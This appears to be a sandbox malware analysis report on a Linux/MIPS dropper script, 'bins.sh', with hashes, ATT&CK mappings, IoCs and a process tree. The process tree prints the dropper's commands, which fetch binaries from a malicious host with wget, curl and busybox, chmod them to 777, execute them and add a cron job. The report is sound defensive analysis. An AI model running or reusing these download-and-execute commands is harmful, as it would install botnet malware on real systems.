e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/11/2024, 17:52

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General

Target
bins.sh
Size 10KB
Sample241105-wfp4ksvmfv
SHA256 e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b
MD5 689dc2495b6b2746c1ff4ecc59d9c0c6
SHA1 1683e210e3cb3b39248824bc88309d3f76f782cb
SHA512 3d6c229430d1778891d8f1699cb98cf486e5b7926067a07b254d963d30960ae23eae580544b05269c7534276fac6e0b3865d984ec46da1d0a138652e41f21f31
SSDEEP 192:Dqyw2HH2Xfz/2ZpYcRD8igz/2ZpLpq2w2HHeU:DqynHH2XjcR8ibq2nHHeU
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1171) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
855	chmod
863	chmod
973	chmod
1006	chmod
729	chmod
737	chmod
756	chmod
984	chmod
995	chmod
794	chmod
809	chmod
827	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	730	0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	738	kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	757	u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	795	2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	810	cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	828	vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	856	4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	864	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	974	6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	985	rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	996	Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	1007	j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk

Renames itself 1 IoCs

pid	Process
865	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.h4Pqex	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1070/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/912/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/941/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/922/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/963/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/967/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/892/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/913/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/955/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1061/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/375/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/909/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/958/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1016/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1044/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/903/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/914/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/957/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/978/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/23/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/37/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/386/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/871/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/900/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/993/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/933/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1020/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1033/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/114/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/330/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/916/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/921/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/936/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1052/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/82/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/352/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/910/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/946/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1058/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/77/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1068/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1072/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/12/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/71/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/874/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1054/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/693/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/898/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1027/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1035/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/15/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/356/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/905/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/964/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1039/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1067/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/13/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/932/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/992/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
File opened for reading	/proc/1005/cmdline	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En

System Network Configuration Discovery 1 TTPs 37 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
999	wget
1010	wget
741	wget
814	curl
752	busybox
787	busybox
846	curl
956	busybox
977	wget
979	busybox
727	busybox
734	curl
990	busybox
808	busybox
822	busybox
988	wget
761	wget
854	busybox
859	wget
860	curl
862	busybox
978	curl
719	curl
833	wget
813	wget
1001	busybox
733	wget
800	wget
775	curl
806	curl
874	wget
989	curl
1000	curl
705	wget
736	busybox
742	curl
875	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	wget
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	wget
File opened for modification	/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	busybox
File opened for modification	/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	busybox
File opened for modification	/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	wget
File opened for modification	/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	busybox
File opened for modification	/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	busybox
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	busybox
File opened for modification	/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	curl
File opened for modification	/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	curl
File opened for modification	/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	curl
File opened for modification	/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	curl
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	curl
File opened for modification	/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	busybox
File opened for modification	/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	curl
File opened for modification	/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	wget
File opened for modification	/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	wget
File opened for modification	/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	busybox
File opened for modification	/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	busybox
File opened for modification	/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	wget
File opened for modification	/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	busybox
File opened for modification	/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	busybox
File opened for modification	/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	wget
File opened for modification	/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	curl
File opened for modification	/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	curl
File opened for modification	/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	busybox
File opened for modification	/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	wget
File opened for modification	/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  ./0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  PID:732
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  ./kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  ./u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod 777 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  ./2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  PID:799
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:800
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  ./cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  ./vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  PID:832
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod 777 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  ./4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod 777 H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  ./H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:864
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:866
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:867
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:868
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:869
- /bin/rm
  rm H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/chmod
  chmod 777 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  ./6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  PID:977
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/chmod
  chmod 777 rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  ./rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/chmod
  chmod 777 Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  ./Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - System Network Configuration Discovery
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1001
- /bin/chmod
  chmod 777 j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  ./j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - System Network Configuration Discovery
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA

Path /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS

Path /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y

Path /tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
